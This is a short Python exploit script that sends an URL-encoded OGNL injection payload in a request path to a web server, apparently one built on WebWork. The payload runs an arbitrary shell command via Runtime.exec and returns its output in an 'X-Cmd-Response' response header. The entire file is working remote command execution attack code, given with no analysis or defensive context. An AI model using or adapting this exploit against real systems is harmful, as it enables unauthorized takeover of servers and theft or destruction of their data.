exploit.py

import requests, sys
import urllib.parse

uk = sys.argv[1]
command = sys.argv[2]
commands = requests.utils.quote(command)
paylaod = f'''/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{commands}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/'''
def exploit(url, **kwargs):
    try:
        response = requests.get(url+paylaod, allow_redirects=False,verify=False)
        print(response.headers['X-Cmd-Response'])
    except KeyError as e:
        print("Target is not vulnerable")


exploit(uk)